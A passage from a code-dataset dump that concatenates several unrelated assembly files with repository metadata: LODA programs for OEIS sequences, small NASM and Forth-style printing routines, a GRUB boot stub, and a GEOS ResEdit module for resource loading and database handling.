] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/099/A099561.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A099561: Sum C(n-3k,k-1), k=0..floor(n/4).
; 0,0,0,0,1,1,1,1,3,4,5,6,10,14,19,25,36,50,69,94,131,181,250,344,476,657,907,1251,1728,2385,3292,4543,6272,8657,11949,16492,22765,31422,43371,59863,82629,114051,157422,217285,299915,413966,571388,788673
lpb $0
mov $2,$0
sub $0,4
seq $2,17898 ; Expansion of (1-x)/(1-x-x^4).
add $1,$2
lpe
mov $0,$1
| 32.090909 | 203 | 0.657224 |
d56f66ce00bc787f0c3ec0ccf739395107d0f06d | 1,262 | asm | Assembly | tools.asm | cthulhuology/firth | fb03d4e3411d51dd1eb4e20afc2f320f1f438949 | [
"BSD-3-Clause"
] | 12 | 2015-05-11T07:46:30.000Z | 2022-02-26T23:38:31.000Z | tools.asm | cthulhuology/firth | fb03d4e3411d51dd1eb4e20afc2f320f1f438949 | [
"BSD-3-Clause"
] | 1 | 2019-03-03T20:17:36.000Z | 2020-07-02T09:37:23.000Z | tools.asm | cthulhuology/firth | fb03d4e3411d51dd1eb4e20afc2f320f1f438949 | [
"BSD-3-Clause"
] | 2 | 2020-07-04T11:41:16.000Z | 2021-05-15T09:18:51.000Z | ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;; tools.asm
;;
;; © 2012,2013 David J Göhrig <dave@dloh.org>
;;
octal:
dupe ; a -- a a
shiftrnum 3 ; a a -- a a/8
dupe ; a -- a a/8 a/8
shiftrnum 3 ; a -- a a/8 a/16
andnum 7 ;
addnum 48 ;
type ; a/16&7
andnum 7 ;
addnum 48 ;
type ; a/8&7
andnum 7 ;
addnum 48 ;
type ; a&7
ret
hexen:
dupe
shiftrnum 4 ; a - a a/16
andnum 15 ; a - a a/16&15
literal 9 ; a - a a/16&15 9
more ; a - a a/16&15 flag
method first_digit ; a - a a/16&15 flag digit
if ; a - a a/16&15
hexen_cont:
addnum 48 ; "a"-10
type
andnum 15
literal 9
more
method second_digit
if
addnum 48
type
ret
first_digit:
addnum 39
method hexen_cont
invoke
second_digit:
addnum 87
type
ret
dump:
dupe
rpush ; byte 0
dupe
shiftrnum 8
rpush ; byte 1
dupe
shiftrnum 16
rpush ; byte 2
dupe
shiftrnum 24
rpush ; byte 3
dupe
shiftrnum 32
rpush ; byte 4
dupe
shiftrnum 40
rpush ; byte 5
dupe
shiftrnum 48
rpush ; byte 6
shiftrnum 56
call hexen ; byte 7
rpop
call hexen ; byte 6
rpop
call hexen ; byte 5
rpop
call hexen ; byte 4
rpop
call hexen ; byte 3
rpop
call hexen ; byte 2
rpop
call hexen ; byte 1
rpop
call hexen ; byte 0
ret
| 13.717391 | 79 | 0.588748 |
200cbff05bfb7c019adf1e41c89f37c52e49a237 | 516 | asm | Assembly | oeis/186/A186111.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/186/A186111.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/186/A186111.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A186111: a(n) = -n if n odd, a(2n) = 3n if n odd, a(4n) = 2n.
; Submitted by Jon Maiga
; 1,-3,3,-2,5,-9,7,-4,9,-15,11,-6,13,-21,15,-8,17,-27,19,-10,21,-33,23,-12,25,-39,27,-14,29,-45,31,-16,33,-51,35,-18,37,-57,39,-20,41,-63,43,-22,45,-69,47,-24,49,-75,51,-26,53,-81,55,-28,57,-87,59,-30,61,-93,63,-32,65,-99,67,-34,69,-105,71,-36,73,-111,75,-38,77,-117,79,-40,81,-123,83,-42,85,-129,87,-44,89,-135,91,-46,93,-141,95,-48,97,-147,99,-50
add $0,1
lpb $0
add $2,$0
dif $0,2
sub $0,$1
mov $1,$0
lpe
sub $0,$2
| 39.692308 | 348 | 0.552326 |
8947e7e44696f76b9291663a3b9a566ae5f9a336 | 698 | asm | Assembly | src/06-hello_null/functions.asm | zhongwei/nasm | 778751d11f539e3cac3bfbfbea2a720eddc67b7c | [
"MIT"
] | null | null | null | src/06-hello_null/functions.asm | zhongwei/nasm | 778751d11f539e3cac3bfbfbea2a720eddc67b7c | [
"MIT"
] | null | null | null | src/06-hello_null/functions.asm | zhongwei/nasm | 778751d11f539e3cac3bfbfbea2a720eddc67b7c | [
"MIT"
] | null | null | null | ;-----------------------------------
; int slen(String message)
slen:
push ebx
mov ebx, eax
nextchar:
cmp byte [eax], 0
jz finished
inc eax
jmp nextchar
finished:
sub eax, ebx
pop ebx
ret
;--------------------------------
; void sprint(String message)
sprint:
push edx
push ecx
push ebx
push eax
call slen
mov edx, eax
pop eax
mov ecx, eax
mov eax, 4
mov ebx, 1
int 80h
pop ebx
pop ecx
pop edx
ret
;-----------------------------
; void exit()
quit:
mov eax, 1
mov ebx, 0
int 80h
ret
| 12.925926 | 36 | 0.396848 |
0590f6b7f224a1ae39469fa539c1047c3e27b91d | 393 | asm | Assembly | boot.asm | LambdaSix/Kerni | d1d57da3f7e45aae26031b8c4a549fee4c0b5fee | [
"BSD-2-Clause"
] | null | null | null | boot.asm | LambdaSix/Kerni | d1d57da3f7e45aae26031b8c4a549fee4c0b5fee | [
"BSD-2-Clause"
] | null | null | null | boot.asm | LambdaSix/Kerni | d1d57da3f7e45aae26031b8c4a549fee4c0b5fee | [
"BSD-2-Clause"
] | null | null | null | [BITS 32]
[global start]
[extern _k_main]
%include 'grub.inc'
start:
call _k_main ; Invoke the c method
cli ; Kill interrupts
hlt ; Halt the cpu
EXTERN code, bss, end
;; Setup for GRUB to load us
ALIGN 4
mboot:
dd MULTIBOOT_HEADER_MAGIC
dd MULTIBOOT_HEADER_FLAGS
dd MULTIBOOT_CHECKSUM
; aout kludge. These must be PHYSICAL addresses
dd mboot
dd code
dd bss
dd end
dd start
| 14.035714 | 47 | 0.735369 |
29986d9ca0fbe5a73137e0dc9fc9a879f60dba20 | 40,509 | asm | Assembly | Appl/Tools/Localize/Document/documentDB.asm | steakknife/pcgeos | 95edd7fad36df400aba9bab1d56e154fc126044a | [
"Apache-2.0"
] | 504 | 2018-11-18T03:35:53.000Z | 2022-03-29T01:02:51.000Z | Appl/Tools/Localize/Document/documentDB.asm | steakknife/pcgeos | 95edd7fad36df400aba9bab1d56e154fc126044a | [
"Apache-2.0"
] | 96 | 2018-11-19T21:06:50.000Z | 2022-03-06T10:26:48.000Z | Appl/Tools/Localize/Document/documentDB.asm | steakknife/pcgeos | 95edd7fad36df400aba9bab1d56e154fc126044a | [
"Apache-2.0"
] | 73 | 2018-11-19T20:46:53.000Z | 2022-03-29T00:59:26.000Z | COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
Copyright (c) GeoWorks 1992 -- All Rights Reserved
PROJECT: PC GEOS
MODULE: ResEdit/Document
FILE: documentDB.asm
AUTHOR: Cassie Hartzong, Oct 1, 1992
ROUTINES:
Name Description
---- -----------
AllocMapItem Allocate a ResourceMap for the passed file.
AllocNameArray Allocate a name array in the db file
CreateName Initializing a NameArray, need a dummy name for
this resource or chunk
MyMemFree Free the resource block.
MyMemLock Up the counter for the resource that is being
locked.
FindFreeResourceHandleTableEntry Find an unused handle table
entry, or one whose
LoadResource Return the handle of the block the resource is
in.
ResEditLoadResourceLow Read the requested resource into a memory
block.
GetResourceFlags Get the HeapAllocFlags and HeapFlags for a
resource in the geode.
AllocResourceGroups Allocate and add ResourceMapElements to the map
block in bp:di.
AddNewResource Add a new element to the passed map block.
Allocate a DBGroup for the resource and create
a ResourceArray in it.
InitResArrays Add elements to ResourceArrays for each chunk
in the resource, as read from the geode.
InitResArraysCallback Load the resource, and for each chunk add an
element to the ResourceArray.
AddChunkItems For each chunk in this resource, add an element
to the chunk name array.
CopyLocToTrans Copy localization file information into the
translation file, resource by resouce, using
ChunkArrayEnum.
CopyLocToTransCallback Copy localization information for this resource
to the translation file.
CopyLocElement Copy info from LocArray to ResourceArray for
this chunk.
REVISION HISTORY:
Name Date Description
---- ---- -----------
cassie 10/ 1/92 Initial revision
DESCRIPTION:
This file contains database routines.
Okay,
_____________________Translation File Overview____________________
A ResEdit document's map block consists of a TransMapHeader, which
holds the general information about the document. The first entry
in the TransMapHeader is a NameArrayHeader for an array containing
the name and ResourceMapData for each resource represented in the
file.
DBItem: NameArrayElement + ResourceMapData
The translation file holds a DBGroup for each resource. These
contain:
DBMapItem: ResourceArrayHeader
and for each editable chunk in the original geode that falls in this
resource:
DBItem: NameArrayElement + ResourceArrayData
___________________________________________________________________
$Id: documentDB.asm,v 1.1 97/04/04 17:14:15 newdeal Exp $
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
DatabaseCode segment resource
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
AllocMapItem
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Allocate a ResourceMap for the passed file.
CALLED BY: (EXTERNAL) - InitializeDocumentFile,
PASS: ^hbx - file handle
RETURN: ax:di - DBGroup and item of map block
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
cassie 11/24/92 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
AllocMapItem proc far
uses bx,cx, dx, si, ds
.enter
call DBGroupAlloc ; ax <- new group
mov cx, size TransMapHeader
mov dx, size ResourceMapData
call AllocNameArray ; ax:di <- DBItem
.leave
ret
AllocMapItem endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
AllocNameArray
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Allocate a name array in the db file
CALLED BY: (EXTERNAL) AllocMapItem, AddNewResource
InitializeDocumentFile, ReadGeodeFile,
AllocResourceGroups
PASS: bx = file handle
ax = group
cx = header size
dx = element data size (not including size NameArrayElement)
RETURN: ax:di - DBItem of name array
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
cassie 10/ 1/92 Initial version.
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
AllocNameArray proc far
uses bx,cx,dx,ds,si
.enter
call DBAlloc ; ax:di <- item
push ax, di
call DBLock_DS ; *ds:si <- ResourceArray
clr al
mov bx, dx ; element data size
call NameArrayCreate
EC < call ECCheckChunkArray >
mov si, ds:[si]
mov ds:[si].TMH_arrayType, AT_RESOURCE_ARRAY
call DBDirty_DS
call DBUnlock_DS
pop ax, di ; return item number
.leave
ret
AllocNameArray endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
CreateName
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Initializing a NameArray, need a dummy name
for this resource or chunk
CALLED BY: AddChunkItems
PASS: es:di - buffer to put name into
^lax - chunk in StringsUI containing name to copy
dx - number to tack onto name
RETURN: nothing
DESTROYED: ax
PSEUDO CODE/STRATEGY:
Assumes that the buffer is big enough to hold a name
that is no longer than MAX_NAME_LEN chars (not including
the null-terminator.)
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
cassie 11/11/92 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
CreateName proc far
uses bx,cx,dx,si,di,ds
.enter
push di ;save beginning of buffer
mov si, ax ;^lsi <- source name chunk
mov cx, dx
GetResourceHandleNS StringsUI, bx
call MemLock
mov ds, ax
mov si, ds:[si] ;ds:si <- source string
LocalCopyString
call MemUnlock
LocalPrevChar esdi ;es:di points to null-term.
mov dx, cx
clr ax, cx ;no fraction part
call LocalFixedToAscii
pop di ;es:di points to beginning
call LocalStringLength
cmp cx, MAX_NAME_LEN
ERROR_A RESEDIT_NAME_BUFFER_OVERFLOW
.leave
ret
CreateName endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
MyMemFree
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Free the resource block.
CALLED BY: EXTERNAL - utility
PASS: ^hbx - block handle
ax - TranslationFileFrame segment
RETURN: nothing
DESTROYED: bx
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
cassie 5/13/93 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
MyMemFree proc far
uses cx,si,ds
.enter
EC< cmp ss:[bp].TFF_signature, TRANSLATION_FILE_FRAME_SIG >
EC< ERROR_NE BAD_TRANSLATION_FILE_FRAME >
segmov ds, ss:[bp].TFF_handles
EC< cmp ds:[DHS_signature], DOCUMENT_HANDLES_STRUCT_SIG >
EC< ERROR_NE BAD_DOCUMENT_HANDLES_STRUCT >
lea si, ds:[DHS_resourceHandleTable]
mov cx, RESOURCE_TABLE_SIZE
findLoop:
cmp ds:[si].RHT_handle, bx
jne continue
ornf ds:[si].RHT_handle, 1
jmp done
continue:
add si, size ResourceHandleTable
loop findLoop
EC< tst cx >
EC< ERROR_Z RESEDIT_INTERNAL_LOGIC_ERROR >
done:
;
; assume user has unlocked block - later check counter
;
; call MemUnlock ; unlock it just in case
.leave
ret
MyMemFree endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
MyMemLock
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Up the counter for the resource that is being locked.
CALLED BY: EXTERNAL - utility
PASS: ^hbx - resource block handle
RETURN: ax - segment
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
cassie 5/13/93 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
MyMemLock proc far
uses cx,si,ds
.enter
EC< cmp ss:[bp].TFF_signature, TRANSLATION_FILE_FRAME_SIG >
EC< ERROR_NE BAD_TRANSLATION_FILE_FRAME >
segmov ds, ss:[bp].TFF_handles
EC< cmp ds:[DHS_signature], DOCUMENT_HANDLES_STRUCT_SIG >
EC< ERROR_NE BAD_DOCUMENT_HANDLES_STRUCT >
lea si, ds:[DHS_resourceHandleTable]
mov cx, RESOURCE_TABLE_SIZE
findLoop:
mov ax, ds:[si].RHT_handle
cmp ax, bx
je foundIt
add si, size ResourceHandleTable
loop findLoop
EC< tst cx >
EC< ERROR_Z RESEDIT_INTERNAL_LOGIC_ERROR >
foundIt:
EC< test bx, 1 >
EC< ERROR_NZ RESEDIT_INTERNAL_LOGIC_ERROR >
inc ds:[si].RHT_counter
mov bx, ax
mov ax, MGIT_FLAGS_AND_LOCK_COUNT
call MemGetInfo
test al, mask HF_LMEM ; if not LMem block
jz nonObjLock ; ...then just use MemLock
call ObjLockObjBlock
done:
.leave
ret
nonObjLock:
call MemLock
jmp done
MyMemLock endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
FindFreeResourceHandleTableEntry
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Find an unused handle table entry, or one whose
CALLED BY: LoadResource
PASS: ds - DocumentHandlesStruct
RETURN: ds:si - ResourceHandleTable entry
carry set if no free entry
ax - LRE_HANDLE_TABLE_FULL
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
First look for an emtpy entry (has no handle).
If all are full, look for an unused entry (low bit of handle
is set).
Copy the first entry to the entry just found.
Mark the first entry as free.
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
cassie 5/13/93 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
FindFreeResourceHandleTableEntry proc near
uses bx,cx,di
.enter
; look for an entry that has no handle at all
;
lea si, ds:[DHS_resourceHandleTable]
mov cx, RESOURCE_TABLE_SIZE
findEmptyLoop:
tst ds:[si].RHT_handle
jz foundOne
add si, size ResourceHandleTable
loop findEmptyLoop
; All entries have handles, so look for one that is unused.
; Start from the last entry.
;
sub si, size ResourceHandleTable ; ds:si <- last RHT entry
mov cx, RESOURCE_TABLE_SIZE
findFreeLoop:
test ds:[si].RHT_handle, 1 ; is it not currently in use?
jnz foundOne
sub si, size ResourceHandleTable
loop findFreeLoop
foundOne:
mov ax, LRE_HANDLE_TABLE_FULL
tst cx ; if cx = 0, no entries are
stc ; available for use
jz done
;
; either an unused entry was found, or one whose resource block
; is not currently being used, so can be kicked out of memory
;
tst ds:[si].RHT_handle ; is it an unused entry?
clc
jz done ; yes, we're done
;
; actually free the block for real
;
mov bx, ds:[si].RHT_handle
andnf bx, 0xfffe ; clear the 'free entry' bit
call MemFree ; now really free the block
;
; if this *is* the first entry, don't need to move it
;
lea di, ds:[DHS_resourceHandleTable] ;ds:di <- first entry
cmp si, di ;ds:si <- free entry
je freeIt ;if same, don't move it
;
; copy the first entry to this (free one)
;
mov al, ds:[di].RHT_number
mov ds:[si].RHT_number, al
mov al, ds:[di].RHT_counter
mov ds:[si].RHT_counter, al
mov ax, ds:[di].RHT_handle
mov ds:[si].RHT_handle, ax
mov si, di
freeIt:
;
; now mark the first entry as free
;
clr ds:[si].RHT_handle
mov ds:[si].RHT_number, -1
clr ds:[si].RHT_counter
clc
done:
.leave
ret
FindFreeResourceHandleTableEntry endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
LoadResource
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Return the handle of the block the resource is in.
CALLED BY: EXTERNAL - utility
PASS: ss:bp - TranslationFileFrame
ax - resource number
RETURN:
carry clear -
ax - LRE_NONE
LRE_NOT_LMEM
LRE_NO_HANDLES
^hbx - handle of editable resource
carry set -
ax - LRE_ZERO_SIZE
LRE_FILE_READ
LRE_MEMALLOC
bx - 0
DESTROYED: dx, ds (if call LoadResourceNoSaveNS)
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
cassie 5/13/93 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
LoadResource proc far
uses cx
.enter
push ds:[LMBH_handle]
call LoadResourceHigh
mov cx, bx
pop bx
call MemDerefDS
mov bx, cx
.leave
ret
LoadResource endp
;--------------
LoadResourceNoSaveDS proc far
call LoadResourceHigh
ret
LoadResourceNoSaveDS endp
;--------------
LoadResourceHigh proc near
uses cx,si,di
.enter
EC< cmp ss:[bp].TFF_signature, TRANSLATION_FILE_FRAME_SIG >
EC< ERROR_NE BAD_TRANSLATION_FILE_FRAME >
segmov ds, ss:[bp].TFF_handles, si
EC< cmp ds:[DHS_signature], DOCUMENT_HANDLES_STRUCT_SIG >
EC< ERROR_NE BAD_DOCUMENT_HANDLES_STRUCT >
lea si, ds:[DHS_resourceHandleTable]
mov cx, RESOURCE_TABLE_SIZE
mov bx, ax ; bl <- resource # to find
mov ax, LRE_NONE ; assume no error
findLoop:
cmp bl, ds:[si].RHT_number
je foundIt
add si, size ResourceHandleTable
loop findLoop
;
; the resource is not currently loaded, must find a free
; entry and load it in.
;
tryAgain:
call FindFreeResourceHandleTableEntry ; ds:si <- free entry
jc done
mov ax, bx
mov di, ax ; di <- resource # saved
mov dx, ss:[bp].TFF_numResources
mov cx, ds:[DHS_resourceTable]
mov bx, ds:[DHS_geode]
call ResEditLoadResourceLow
jnc okay
cmp ax, LRE_MEMALLOC ; not enought Mem?
je tryAgain ; try freeing another entry
stc ; must have been a file error
jmp done
okay:
mov ds:[si].RHT_handle, bx
mov bx, di
mov ds:[si].RHT_number, bl
foundIt:
mov bx, ds:[si].RHT_handle
andnf bx, 0xfffe ; marks the entry as in use
mov ds:[si].RHT_handle, bx
clc
done:
.leave
ret
LoadResourceHigh endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
ResEditLoadResourceLow
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Read the requested resource into a memory block.
CALLED BY: (EXTERNAL) InitResArraysCallback, CreateExecutable
PASS: ^hbx - geode file handle
^hcx - resource table handle
ax - resource number
dx - total number of resources in geode
RETURN:
carry clear -
ax - LRE_NONE
LRE_NOT_LMEM - not an LMem resource
LRE_NO_HANDLES - no handles in the resource
^hbx - handle of editable resource
carry set -
ax - LoadResourceError
LRE_ZERO_SIZE - empty resource
LRE_FILE_READ - error while reading file
LRE_MEMALLOC - couldn't allocate a block for it
DESTROYED: cx, dx
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
cassie 10/27/92 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
ResEditLoadResourceLow proc far
geodeHandle local hptr push bx
resNumber local word push ax
flags local word
uses si,ds
.enter
mov bx, cx ;^hbx <- resource table
call GetResourceFlags ; ax <- HAF and HF flags
mov ss:[flags], ax
; find the resource's position in the file and its size
;
mov cx, ss:[resNumber]
mov bx, ss:[geodeHandle]
clr dx
call GeodeFindResource ;cx:dx <- resource file pos
;ax <- resource size
; make sure the resource is a valid size: non-zero, and at least
; as large as an LMemBlockHeader.
;
mov si, ax ;save the size in si
tst si ;if 0 size, don't bother...
mov ax, LRE_ZERO_SIZE
jz errorNoBlock
; position the file at the start of the resource
;
mov al, FILE_POS_START
call FilePos ;dx:ax <- new file position
; Round up the resource size to paragraph boundary, as resources
; are written to the geode that way, and if some fraction of a
; paragraph is not read in, when we go to read the relocation table,
; the file position will be off by that much.
add si, 15
andnf si, 0xfff0
; allocate a block big enough to hold the resource
mov ax, si
mov cx, ALLOC_DYNAMIC_LOCK
call MemAlloc ;ax <- segment, bx <- handle
mov ds, ax
mov ax, LRE_MEMALLOC
jc errorNoBlock
; now read it into the block
push bx ;resource block handle
mov bx, ss:[geodeHandle] ;^hbx = geode file handle
clr dx ;ds:dx <-buffer to read into
mov cx, si ;cx <- # of bytes to read
clr al
call FileRead ;cx <- # bytes actually read
pop bx
mov ax, LRE_FILE_READ
jc errorFree
; if not possibly large enough to be an LMemBlock, don't
; mark it as such
;
cmp cx, size LMemBlockHeader
jb notLMem
; Change the block to a LMemBlock so we can rearrange the contents
; and rely on the abilities of LMem to organize the chunks.
;
mov ax, ss:[flags]
and ax, mask HF_LMEM
jz notLMem
mov al, mask HF_LMEM
call MemModifyFlags
; Set the other info field so that we won't fail in ObjLockObjBlock()
;
push bx
mov ax, TGIT_THREAD_HANDLE
clr bx
call ThreadGetInfo ; get current thread's handle
pop bx
call MemModifyOtherInfo
; Replace the resource ID with the block handle.
;
mov ds:[LMBH_handle], bx ;set handle to itself
; Find out if this is a resource which contains nothing of interest.
; if this is a special LMem block (i.e. core block) it will have
; LMF_NO_HANDLES. If it is a legitimate block but has no handles
; (i.e. dgroup), LMBH_nHandles will be 0.
;
mov ax, LRE_NO_HANDLES
test ds:[LMBH_flags], mask LMF_NO_HANDLES
jnz unlock
tst ds:[LMBH_nHandles]
jz unlock
mov ax, LRE_NONE
unlock:
call MemUnlock
clc
done:
.leave
ret
notLMem:
mov ax, LRE_NOT_LMEM
jmp unlock
errorFree: ;free the block
call MemFree
errorNoBlock: ;no block allocated
clr bx
stc
jmp done
ResEditLoadResourceLow endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
GetResourceFlags
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Get the HeapAllocFlags and HeapFlags for a resource in
the geode.
CALLED BY: EXTERNAL (ResEditLoadResourceLow, UpdateRelocationTable)
PASS: ^hbx - ResourceTable
ax - resource number
dx - total number of resources
RETURN: ax - flags
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
cassie 5/26/93 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
GetResourceFlags proc far
uses dx,si,es
.enter
; Lock the resource table and go to the allocation flags part:
; HeapFlags record in the low byte, HeapAllocFlags in the high byte.
;
push ax
call MemLock
mov es, ax
; sizeof tables before flags table: 2 bytes for resource size,
; 4 bytes for resource position, 2 bytes for relocation table size
;
mov ax, dx
mov dl, 8 ;sizeof tables before flags
mul dl
mov si, ax ;es:si <- ptr to flags table
pop ax
shl ax, 1 ;ax*2 <- res # * size word
add si, ax ;es:si <- resource's flags
mov ax, es:[si]
call MemUnlock
.leave
ret
GetResourceFlags endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
AllocResourceGroups
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Allocate and add ResourceMapElements to the map block
in bp:di.
CALLED BY: (EXTERNAL) REDReadSourceGeode
PASS: ss:bp - TranslationFileFrame
RETURN: carry set if error (a resource was not added)
ax - ErrorValue
DESTROYED: ax,di,es
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
cassie 11/10/92 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
AllocResourceGroups proc far
uses cx,dx,si
.enter
EC< cmp ss:[bp].TFF_signature, TRANSLATION_FILE_FRAME_SIG >
EC< ERROR_NE BAD_TRANSLATION_FILE_FRAME >
; Remember document block for dereferencing.
push ds:[LMBH_handle], si
; Get the file handle.
mov ax, MSG_GEN_DOCUMENT_GET_FILE_HANDLE
call ObjCallInstanceNoLock
mov bx, ax
; Lock the TransMapHeader and mark it dirty.
call LockTransFileMap_DS ; *ds:si = TransMapHeader
mov di, ds:[si]
call DBDirty_DS
; Record the resource count in the TransMapHeader.
mov cx, ss:[bp].TFF_numResources
mov ds:[di].TMH_totalResources, cx
EC < tst cx >
EC < ERROR_Z NO_RESOURCES >
; Initialize resource add loop.
mov ds:[di].TMH_arrayType, AT_RESOURCE_MAP
clr ax
; Add new resources.
addResource:
; ax = current resource number
; cx = resources remaining to process
; bx = file handle
; ds:si = map block
push ax
call AddNewResource
mov dx, ax ;save ErrorValue in dx
pop ax
jc done
inc ax
loop addResource
done:
; Unlock the TransMapHeader
call DBUnlock_DS
; Dereference document block.
pop bx, si
call MemDerefDS
; Return possible error value.
mov ax, dx ;return possible ErrorValue in ax
.leave
ret
AllocResourceGroups endp
